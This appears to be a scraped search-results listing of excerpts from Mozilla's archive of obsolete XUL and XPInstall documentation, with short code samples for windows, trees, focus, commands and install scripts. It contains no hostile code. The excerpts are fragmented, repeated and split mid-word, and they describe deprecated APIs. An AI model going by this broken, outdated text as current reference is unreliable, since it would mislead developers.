...so creates a nsicontentsink (nshtmlcontentsink) and connects it to the parser and the document. the parser then parses the stream it gets via its streamlistener interface and converts it to ns
iparsernodes which it places in the contentsink. the parser typically gets data from the stream in 8kb blocks and parses these blocks, block by block. after every parsed block it passes the parsed data as ns
iparsernodes to the contentsink unless the parser has been temporarily blocked, in wich case it waits until it gets unblocked before parsing the cached data it has receieved while being blocked. (6) the contentsink then builds up nsicontent nodes that describe the document. these content nodes are created by calling functions like ns_newhtmlxxxxelement(). these element nodes implement the nsihtmlco...
Using cross commit - Archive of obsolete content
cross-commit is a scr
ipt that allows a single patch to be easily checked in on mult
iple branches. getting the scr
ipt "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-commit, and that'll work on the 1.8 branch soon, too, so you might already have the scr
ipt. if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-commit note that you will need to have $cvsroot and such set up correctly for this to work. ...
...ng the scr
ipt "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-commit, and that'll work on the 1.8 branch soon, too, so you might already have the scr
ipt. if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-commit note that you will need to have $cvsroot and such set up correctly for this to work. ...
...mit options (those to the right of a commit command), although the -r and -f cvs options need to be specified as --cvs-r and --cvs-f to avoid conflict with the similarly named (but different in meaning) cvs commit options. you can list the files/directories you want it to commit on the command line or leave them out and let it recursively troll the current directory. --verbose=[0|1] makes the scr
ipt output more text as it runs. this defaults to 1. --trunk makes cross-commit land the patch on head in addition to any other branches specified. this is equivalent to --branch head. --moz18 makes cross-commit land the patch on mozilla_1_8_branch in addition to any other branches specified. this is equivalent to --branch mozilla_1_8_branch. --branch=branch-tag adds a branch to the list of branc...
...--trunk makes cross-commit land the patch on head in addition to any other branches specified. this is equivalent to --branch head. --moz18 makes cross-commit land the patch on mozilla_1_8_branch in addition to any other branches specified. this is equivalent to --branch mozilla_1_8_branch. --branch=branch-tag adds a branch to the list of branches to land the patch on. this may be specified mult
iple times, each time with a different branch name. this may also be used in combination with --trunk and --moz18. if no branches are specified, cross-commit will default to landing on head and mozilla_1_8_branch. ...
Example Sticky Notes - Archive of obsolete content
> demo : sticky notes</h1> <div class="sticker"><p>acme, inc. ...
...--> <constructor><![cdata[ /** * the code below will be called one time only after * the binding is successfully prepared and bound. * "this" in this context refers to t...
...--> <constructor><![cdata[ /** * the code below will be called one time only after * the binding is successfully prepared and bound. * "this" in this context refers to the bound element. ...
...de below will be called one time only before * binding is unbound. you cannot cancel this event, * but you may accomplish some last minute clean up. * "this" in this context refers to the bound element. */ // your code goes here ]]></destructor> <field name="priority"><![cdata[ /** * new "real" property for the bound element. * within this block the content is interpreted * as javascr
ipt code. the result of this code * evaluation (if any) will be used as initial value. */ "normal"; ]]></field> <property name="innertext"> <!-- new "virtual" property for the bound element. unlike <field> these are really two functions (getter and setter). within the virtual properties you cannot set or get the named property itself. say an attempt to assign this.innertext='something' ...
registerChrome - Archive of obsolete content
skin is used to register skins, locale is used to register language packs. package, a third possibility is the equivalent of skin and/or locale, and ensures that everything in the xpi is registered. one final option for the switch parameter is delayed_chrome, which registers the switch only after a relaunch of the browser. ...
...r the switch parameter is delayed_chrome, which registers the switch only after a relaunch of the browser. note that you can combine switches as in the example below. srcdir srcdir is a filespecobject representing the source destination of the installation. filespecobjects like that required by this function are created using the getfolder method on the install object. xp
ipath xp
ipath is the path within the xpi in where the contents.rdf file defining the chrome is located. for example, "locale/mylocale/aim," points to the locale/mylocale/aim subdirectory of the same xpi file in which the installation scr
ipt is located. returns an integer error code. for a list of possible values, see return codes. in some situations the method may return other errors. in a ...
... in where the contents.rdf file defining the chrome is located. for example, "locale/mylocale/aim," points to the locale/mylocale/aim subdirectory of the same xpi file in which the installation scr
ipt is located. returns an integer error code. for a list of possible values, see return codes. in some situations the method may return other errors. in a few cases you may get a registry error. descr
iption when the third parameter is omitted (pointing to a specific location within the xpi file), this function is being used in a somewhat deprecated way. in this case, registerchrome is supporting the old format of installation archives, in which the manifest.rdf file was always located at the highest level of the installation archive. in this case, registerchrome does not require a path inside th...
... archives. note that you can also look in the installed-chrome.txt file in the chrome directory to see how and where the registerchrome function has registered your package with the chrome registry. example example assumes your xpi file is in plugins folder and rdf file is in resources subfolder of xpi. you should probably avoid this call (in the case you are copy/pasting from older install scr
ipts) for plugin installation in firefox 2.x. it is unclear what, if anything, does this "chrome registration" accomplish. registerchrome( package | delayed_chrome, getfolder("plugins"), "resources"); ...
Install Object - Archive of obsolete content
and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. install use the install object to manage the downloading and installation of software with the xpi installation manager. ...
...e with an install.rdf manifest. in particular plugin developers should see how to package a plugin as an extension. install use the install object to manage the downloading and installation of software with the xpi installation manager. overview the install object is used primarily in installation scr
ipts. in all cases, the install object is implicit--like the window object in regular web page scr
ipts--and needn't be prefixed to the object methods. ...
...on of software with the xpi installation manager. overview the install object is used primarily in installation scr
ipts. in all cases, the install object is implicit--like the window object in regular web page scr
ipts--and needn't be prefixed to the object methods. the following two lines, for example, are equivalent: f = getfolder("program"); f = install.getfolder("program"); an installation scr
ipt is composed of calls to the install object, and generally takes the following form: initialize the installation call initinstall with the name of the installation and the necessary registry and version information. add the files to the installation add files to the installation by calling getfolder to get file objects and passing those object refs to addfile as ma...
...ny times as necessary. perform installation check that the files have been added successfully (e.g., by checking the error return codes from many of the main installation methods, and go ahead with the install if everything is in order: performorcancel(); function performorcancel() { if (0 == getlasterror()) performinstall(); else cancelinstall(); } for complete scr
ipt examples, see scr
ipt examples. ...
XPJS Components Proposal - Archive of obsolete content
now, you might ask: "isn't that what xpconnect does?" and i would answer that xpconnect is necessary, but not sufficient to the task. ...
...onnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window. xpjs will provide that infrastructure. so what does this mean? the xpjs component system will support implementing xpcom services, factories, and components in javascr
ipt. it will support service and factory registration. these components will be independent of web content and browser windows. they will run from the user's disk just like native components. how will it work? the overriding princ
iple is to make this work as much like native components as possible. xjs components will 'live' in.js files. just as with native component modules each of these .js file...
... also be provided to let the js code import other .js files where libraries of code might be stored. this is akin to 'static' libraries. accessing other components/services via xpcom/xpconnect is more akin to 'dynamic' libraries. when a xpjs component module is first installed - or at autoregistration time - the xpjsmanager will load the .js file into a fresh js environment, let its top level scr
ipt run to do whatever initialization it wants to do, and then it will call the module's nsregisterself function (passing the filespec of the .js file). at this point the module will use the (new) methods on the components object to register itself with the component manager as a factory module for one or more classid or progid. this registration function that the js code calls (e.g. components.reg...
... a reference to that factory) can then call the factory's createinstance method at will. the js module is free to implement factories and components and services that the factories construct on command. any code anywhere and implemented in any language can get to these things via the component and service managers. the xpjsmanager is loosely in charge of the lifetime of each xpjs module. javascr
ipt is garbage collected and one can not force an object to be deleted or the compiled code to be unloaded [except by deleting the jsruntime; i.e. erasing the entire js universe]. in c if a module gets unloaded when there are still references to objects created by the module then a crash is likely to happen soon after. js does not have this problem. if the xpjsmanager is asked to trim itself back (b...
Mozilla E4X - Archive of obsolete content
another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. ...
...another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. ...
...another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. ...
...another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other. ...
id - Archive of obsolete content
<< xul reference home id type: unique id a unique identifier so that you can identify the element with. you can use this as a parameter to getelementbyid() and other dom functions and to reference the element in style sheets. ...
...ntifier so that you can identify the element with. you can use this as a parameter to getelementbyid() and other dom functions and to reference the element in style sheets. ...
...e element in style sheets. ...
...(){ var mybutton = document.getelementbyid('foo'); mybutton.setattribute('label','the button was pressed'); } </scr
ipt> a more abstract version of the above would be a <button id="foo" label="click me" oncommand="setwidgetlabel(this, 'i was pressed')"/> <scr
ipt> function setwidgetlabel(idname, newcaption){ document.getelementbyid( idname.id ).setattribute('label',newcaption) } </scr
ipt> not specifying the id attribute for a window or a prefwindow fills the console with the following warning message: warning: empty string passed to getelementbyid() see also name ...
onchange - Archive of obsolete content
<< xul reference home overview an onchange attribute is an event listener to the object for the event change. a change event is fired in different ways for different xul input elements as listed below: onchange type: scr
ipt code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the scr
ipt context at this point can only access the following things: global values/functions i.e. window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="ho...
...things: global values/functions i.e. ...
...es/functions i.e. ...
...rsion="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type="text/javascr
ipt"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </scr
ipt> <textbox id="find-text" onchange="return myfunction(event);"/> </window> ...
Menus - Archive of obsolete content
ill often wish to attach a new command to a menu. to do this, the new menu will need to be laid over the existing menu which the item should be displayed upon. for more information about how to use an overlay to modify a menu, see using menus and popups in extensions the following tables list the ids of menus in firefox that are commonly overlaid upon. firefox menus element id descr
iption main-menubar the menubar element. menu_filepopup the menupopup associated with the 'file' menu. menu_editpopup the menupopup associated with the 'edit' menu. menu_viewpopup the menupopup associated with the 'view' menu. gopopup the menupopup associated with the 'go/history' menu. menu_toolspopup the menupopup associat...
... menu_toolspopup the menupopup associated with the 'tools' menu. menu_helppopup the menupopup associated with the 'help' menu. menu_viewsidebarmenu the menupopup for the 'sidebar' submenu on the 'view' menu. menuwebdeveloperpopup the menupopup for the 'web developer' submenu on the 'tools' menu. firefox context menu element id descr
iption relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area. spell-no-suggestions the no spelling suggestions item - notable as it is the first item on the context menu. editable text context-openlink opens a link in a new window links context-openlinkintab opens a lin...
...k bookmarks a link links context-savelink saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the cl
ipboard images context-copyimage copies the url of an image to the cl
ipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackground sets an image as the desktop background images context-blockimage blocks an image images context-back goes ...
...xt-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a background image context-undo undo editable text context-cut cuts to cl
ipboard editable text context-copy copies to cl
ipboard context-paste pastes from cl
ipboard editable text context-delete deletes selection editable text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection ...
How to Quit a XUL Application - Archive of obsolete content
scr
ipt can attempt to quit a xul application, or force the application to quit, using the nsiappstartup interface. <scr
ipt> function quit (aforcequit) { var appstartup = components.classes['@mozilla.org/toolkit/app-startup;1']. getservice(components.interfaces.nsiappstartup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
...erfaces.nsiappstartup); // eattemptquit will try to close each xul window, but the xul window can cancel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
...ncel the quit // process if there is unsaved data. eforcequit will quit no matter what. ...
... will quit no matter what. ...
currentIndex - Archive of obsolete content
trees won't show a focus ring, naturally. for unfocused trees, the (undrawn) caret's position can still be obtained by this property. if the caret isn't present for any row (for example, because the tree has never been focused), the value will be -1. you cannot rely on this property to change or determine a tree selection, except for trees with seltype="single". ...
...been focused), the value will be -1. you cannot rely on this property to change or determine a tree selection, except for trees with seltype="single". (all trees have seltype="mult
iple" by default.) to reliably change or determine a selection, instead use the nsitreeselection interface methods available via tree.view.selection. example // one way of retrieving the text of a cell. ...
...ue will be -1. you cannot rely on this property to change or determine a tree selection, except for trees with seltype="single". (all trees have seltype="mult
iple" by default.) to reliably change or determine a selection, instead use the nsitreeselection interface methods available via tree.view.selection. example // one way of retrieving the text of a cell. ...
...sitreeselection interface methods available via tree.view.selection. example // one way of retrieving the text of a cell. ...
Providing Command-Line Options - Archive of obsolete content
you can learn more about how the command line is interpreted by looking at the documentation for the nsicommandline interface. ...
... * @param achromeurispec...
... window to open. ...
...meter passed to -viewapp on the command line."); } // changeme: change "myapp" to your command line flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.preventdefault = true; } }, // changeme: change the help info as appropriate, but // follow the guidelines in nsicommandlinehandler.idl // specifically, flag descr
iptions should start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpinfo : " -myapp open my application\n" + " -viewapp <uri> view and edit the uri in my application,\n" + " wrapping this descr
iption\n" }; var nsgetfactor...
Additional Install Features - Archive of obsolete content
it provides some functions which can be used to examine and modify files on disk. you can use these to move, copy or delete files before or after the files are installed. ...
...it provides some functions which can be used to examine and modify files on disk. you can use these to move, copy or delete files before or after the files are installed. for example, you might want to make a backup of some files first. the following code will make a copy of the file "/bin/grep" and put it in the directory "/main". ...
...is will occur if a file or directory cannot be found, there is insufficient disk space or for a number of other reasons. you can use the getlasterror() function to determine whether an error occured. if it returns success, no error occured. otherwise, the number will be an error code which indicates the type of error that occured. ...
...be an error code which indicates the type of error that occured. you can call this function at any point during the installation scr
ipt to determine whether an error occured during the last operation. if an error occurs, you will likely want to abort the installation. you may also want to display an error message to the user. for example, you might put the following as the last section of your scr
ipt: if (getlasterror() == success) { performinstall(); } else { cancelinstall(); } error codes that could be returned by getlasterror() are listed in the mozilla source file nsinstall.h. during installation, a log file is created that contains the operations that are performed. it will also show any errors that occured. the log file can be found in the file 'install.log' in the mozilla install...
Creating a Window - Archive of obsolete content
l tag which surrounds an entire html document, except that a user interface window is described instead of a document. several attributes can be placed in the window tag -- in this case there are four. in the example, each attribute is placed on a separate line but they do not have to be. id="findfile-window" the id attribute is used as an identifier so that the window can be referred to by scr
ipts. you will usually put an id attribute on all elements. the name can be anything you want although it should be something relevant. title="find files" the title attribute describes the text that would appear on the title bar of the window when it is displayed. in this case the text 'find files' will appear. orient="horizontal" the orient attribute specifies the arrangement of the items in ...
... as opposed to a new window, but this is often sufficient during the early stages of development. note: the local xul document can be opened in the browser as mentioned above only if |dom.allow_xul_xbl_for_file| preference in "about:config" has been set to |true| . if it does not exist, then it needs to be created and set to |true|. the correct way, of course, is to open the window using javascr
ipt. no new syntax is necessary as you can use the window.open() function as one can do for html documents. however, one additional flag, called 'chrome' is necessary to indicate to the browser that this is a chrome document to open. this will open the window without the toolbars and menus and so forth that a normal browser window has. the syntax is described below: window.open(url,windowname,flags...
... the findfile.xul example let's begin by creating the basic file for the find file dialog. create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the previous section). add th...
...ns the flag "chrome" as in this example window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascr
ipt like these in the error console. choose tools - error console, type a line of javascr
ipt, and press the evaluate button, or the return or enter key. the findfile.xul example let's begin by creating the basic file for the find file dialog. create a file called findfile.xul and put it in the content directory specified in the findfile.manifest file (we've created in the previous section). add the xul template shown at the top of this page to the file and save it. you can use the c...
Focus and Selection - Archive of obsolete content
ent is used to respond when the focus is removed from an element. you can respond to focus changes by adding an onfocus or onblur attribute on an element. they work just like their html counterparts. you might use these event handlers to highlight the element or display text on a status bar. the following example can be used to apply a function to handle a focus event. example 2 : source view <scr
ipt> function displayfocus(){ var elem=document.getelementbyid('sbar'); elem.setattribute('value','enter your phone number.'); } </scr
ipt> <textbox id="tbox1"/> <textbox id="tbox2" onfocus="displayfocus();"/> <descr
iption id="sbar" value=""/> the focus event, when it occurs, will call the displayfocus function. this function will change the value of the text label. we could extend this examp...
...n retrieve the command dispatcher from a window using the document's commanddispatcher property. from there, you can get the focused element with the dispatcher's focusedelement property. the example below shows this. ...
...we want to use a capturing event handler, so the addeventlistener method needs to be used. it registers a capturing even...
...nd rewindfocus on the command dispatcher. these methods move the focus to the next element in sequence or the previous element respectively. this is what happens when the user presses tab or shift+tab. for textboxes, a special attribute, focused is added whenever the element has the focus. you can check for the presence of this attribute to determine if the element has the focus, either from a scr
ipt or within a style sheet. it will have the value true if the textbox has the focus and, if the textbox does not have the focus, the attribute will not be present. suppose you wanted to move the focus from where it currently is, to the next place the browser thinks it should be. a user typically does this by hitting the "tab" key. you can do this anywhere you have a xul browser document by simply:...
Tree Selection - Archive of obsolete content
<< previousnext >> the section will describe how to get and set the selected items in a tree. getting the selected tree items each item in a tree (that corresponds to treeitem element, if using content tree view) may be selected individually. if you add the seltype attribute to the tree, set to the value single, the user may only select one row at a time. otherwise, the user may select mult
iple rows, which will not necessarily be contiguous. the tree provides a number of functions which can be used to determine whether an item is selected. handling the select event first, let's see how we can determine when an item is selected. the onselect() event handler may be added to the tree element. when the user selects an item from the tree, the event handler is called. the user may also chan...
...be the first top-level item. the next item at index 1 will be its first child. the second child will be at index 2 and the second parent item will be at position 3 and so on. in the image, there are eight rows displayed, of which two are selected. the first selected row has an index of 4 and the second has an index of 7. the rows that are not displayed are not included in the index count. mult
iple selection for trees that allow mult
iple selection, getting the list of selected rows is a bit more complicated. the tree's view has a selection property which holds information about the selected rows. this selection will be an nsitreeselection object. the view doesn't need to implement this object itself, the tree will assign a selection object to the view's selection property when the view is...
...t this object itself, the tree will assign a selection object to the view's selection property when the view is attached to a tree. from the tree, you can get the selection using the tree's view property and then retrieve the view's selection property. you can use the methods of the selection object to retrieve the set of selected items or modify the selection. because the selected items in a mult
iple selection tree are not necessarily contiguous, you can retrieve each block of contigous selections using the getrangecount() and getrangeat() functions. the first function returns the number of selection ranges there are. if only one value is selected, this value will be 1. you would then write a loop for the number of ranges, calling getrangeat() to get the actual indices of the start and end ...
...w.selection.select(5); note that you should not just change the tree's currentindex property to change the selection. instead, you should use the selection's select function as in the example above. you can select all rows with the selectall() function. note that rows nested inside containers that are not open will not be selected. naturally, this will only have any effect for trees that use mult
iple selection. there is also a clearselection() function to clear the selection, and an invertselection function to reverse the selection, that is, deselect all selected rows and select all unselected rows. to select specific rows, use the rangedselect() function which selects all rows in between two indices. here is an example which selects rows between index 2 and 7. note that rows 2 and 7 will a...
XUL controls - Archive of obsolete content
id for selecting a date. <datepicker type="grid" value="2007/02/20"/> datepicker reference <datepicker type="popup" > a datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid. <datepicker type="popup" value="2008/08/24"/> datepicker reference <descr
iption> the descr
iption element is used for descr
iptive text. <descr
iption> select a time for the event to start </descr
iption> more information about the descr
iption element. descr
iption reference <groupbox> a groupbox displays a labelled box around other user interface controls. <groupbox> <caption label="network"/> </groupbox> ...
...chlistbox reference related elements: richlistitem <scale> a scale displays a bar with a thumb that may be slid across the bar to select between a range of values. <scale min="1" max="10"/> scale reference <splitter> allows the user to adjust the division of space between elements. <splitter collapse="before"> <gr
ippy/> </splitter> splitter reference related elements: gr
ippy <tab> descr
iption goes here. <tab label="firefox"/> tab reference related elements: tabs tabbox tabpanels <textbox> a textbox which allows a single line of text to be entered. <textbox value="firefox"/> more information about t...
...goes here. <tab label="firefox"/> tab reference related elements: tabs tabbox tabpanels <textbox> a textbox which allows a single line of text to be entered. <textbox value="firefox"/> more information about the textbox element. textbox reference <textbox multiline="true"> a textbox which allows mult
iple lines of text to be entered. <textbox multiline="true"/> more information about the mult
iple line textbox element. textbox reference <textbox type="autocomplete"> a textbox that provides a dropdown showing matches that would complete what the user types. the user can select one to have it filled into the textbox. <textbox type="autocomplete...
...olbarbutton type="menu-button" label="open"> <menupopup> <menuitem label="open changed files"/> <menuitem label="open all"/> </menupopup> </toolbarbutton> more information about this type of menu toolbarbutton element. toolbarbutton reference related elements: menupopup menuitem toolbar <tree> a tree displays a hierarchy of items in mult
iple columns. <tree> <treecols> <treecol label="name" flex="1"/> <treecol label="size" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="popcorn"/> <treecell label="large"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="root beer"/> <treecell label="small"/> </treerow> ...
bindings - Archive of obsolete content
it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri. pr...
...it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri. properties ...
... an rdf resource uri. ...
...esource uri. ...
command - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a command element can be used to invoke an operation that can come from mult
iple sources. for example, a cl
ipboard paste operation can be invoked from the edit menu, a context menu and by pressing a keyboard shortcut. you attach the code to the command using the oncommand attribute. it will be called no matter how it is invoked by the user. in addition, disabling the command will automatically disable the menu items and keyboard shortcuts. commands are identified by their id. if you include the scr
ipt chrome://global/content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command. using this function has the advantage that the command will be sent...
... except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. label type: string the label that will appear on the element. if this is left out, no text appears. for an editable menuitem element the value of this attribute is copied to the menulist.value property upon user selection of the menuitem. oncommand type: scr
ipt code this event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. reserved type: string this attribute applies to a command element. setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content. this means that, to e...
...1 for details. ...
...ails. ...
dropmarker - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, ma...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, m...
...ssibility object for the element. ...
... object for the element. ...
editor - Archive of obsolete content
o's built-in rich text editor. ...
...t editor. ...
...ebnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <scr
ipt language="javascr
ipt"> function initeditor(){ // this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </scr
ipt> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.execcommand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.contentdocument.execcommand("bold", false, null); see the midas ov...
... this read-only property contains the nsiwebnavigation object for the document. most of its methods are callable directly on the element itself, such as goback and goforward. it also contains the load constants used by reloadwithflags and loaduriwithflags. methods geteditor( window ) return type: nsieditor returns the editing interface for the editor which contains numerous methods for man
ipulating the document. pass the editor's contentwindow as the argument. gethtmleditor( window ) return type: nsihtmleditor returns the html editing interface for the editor which contains methods for man
ipulating an html document. pass the editor's contentwindow as the argument. makeeditable( editortype, waitforload ) return type: no return value this function enables editing for an editor.
groupbox - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, ma...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, m...
...ssibility object for the element. ...
... object for the element. ...
key - Archive of obsolete content
e key attribute. valid keys are listed at keyboard shortcuts. keytext type: string a label for the keyboard shortcut. this text would appear next to a menuitem label if that menuitem is associated with the key element via its key attribute. modifiers type: space-separated list of the values below a list of modifier keys that should be pressed to invoke the keyboard shortcut. mult
iple keys may be separated by spaces or commas. keys will map to other keys on platforms that do not have them. shift: the shift key. alt: the alt key. on the macintosh, this is the option key. on macintosh this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text. meta: the meta key. on the macintosh, this is...
...e key used for keyboard shortcuts on the user's platform, which is control on windows and linux, and command on mac. usually, this would be the value you would use. access: the access key for activating menus and other elements. on windows, this is the alt key, used in conjuction with an element's accesskey. any: indicates that all modifiers preceding it are optional. oncommand type: scr
ipt code this event handler is called when the command is activated. this occurs when a user selects a menu item or presses a keyboard shortcut attached to the command. phase type: string the event phase where the handler is invoked. this should be set to the value capturing to indicate during the event capturing phase or target to indicate at the target element or left out entirely for ...
... the bubbling phase. ...
...ling phase. ...
keyset - Archive of obsolete content
if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will ...
...if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire. in the case of form elements, it will not be su...
... additional state. ...
...al state. ...
listhead - Archive of obsolete content
disabled type: boolean gets and sets the value of the disabled attribute. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmen...
... disabled type: boolean gets and sets the value of the disabled attribute. inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, contro...
... value of the disabled attribute. ...
... the disabled attribute. ...
listheader - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, ma...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, m...
...ssibility object for the element. ...
... object for the element. ...
member - Archive of obsolete content
container type: ? a variable reference to a node that is expected to be a container. if the variable is the same as the uri attribute on the content element, the resource ...
... container type: ? a variable reference to a node that is expected to be a container. if the variable is the same as the uri attribute on the content element, the resource must be a...
...ntainer element in order to match. ...
...lement in order to match. ...
progressmeter - Archive of obsolete content
max type: integer gets and sets the value of the max attribute. mode type: string gets and sets the value of the mode attribute. value type: string gets and sets the value...
... max type: integer gets and sets the value of the max attribute. mode type: string gets and sets the value of the mode attribute. value type: string gets and sets the value of the v...
...value and menulist.value syntax. ...
... menulist.value syntax. ...
statusbar - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxw...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, men...
...ssibility object for the element. ...
... object for the element. ...
<statusbarpanel> - Archive of obsolete content
c examples <statusbar> <statusbarpanel label="left panel"/> <spacer flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
... the value of the label attribute. ...
...e of the label attribute. ...
titlebar - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , ,...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , obse...
...rs prior to firefox 3. ...
...to firefox 3. ...
treecol - Archive of obsolete content
create a css file. copy and paste the code above and link the css file to your xul file. reload the page to see the checkbox. if you want, you can also style the tree using css. attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...essibility object for the element. ...
...y object for the element. ...
Application Update - Archive of obsolete content
you will need to compile a unix/linux executable mar from mozilla/modules/libmar. ...
...nfigure will build you mar. compiled versions of mar are available in the gecko sdk under the folder /host/bin for your os. in order to generate sha1 hashes i installed shash. application settings you will need to configure the following settings in your application: branding the update process uses branding information, setup branding for your application as described here: xulrunner t
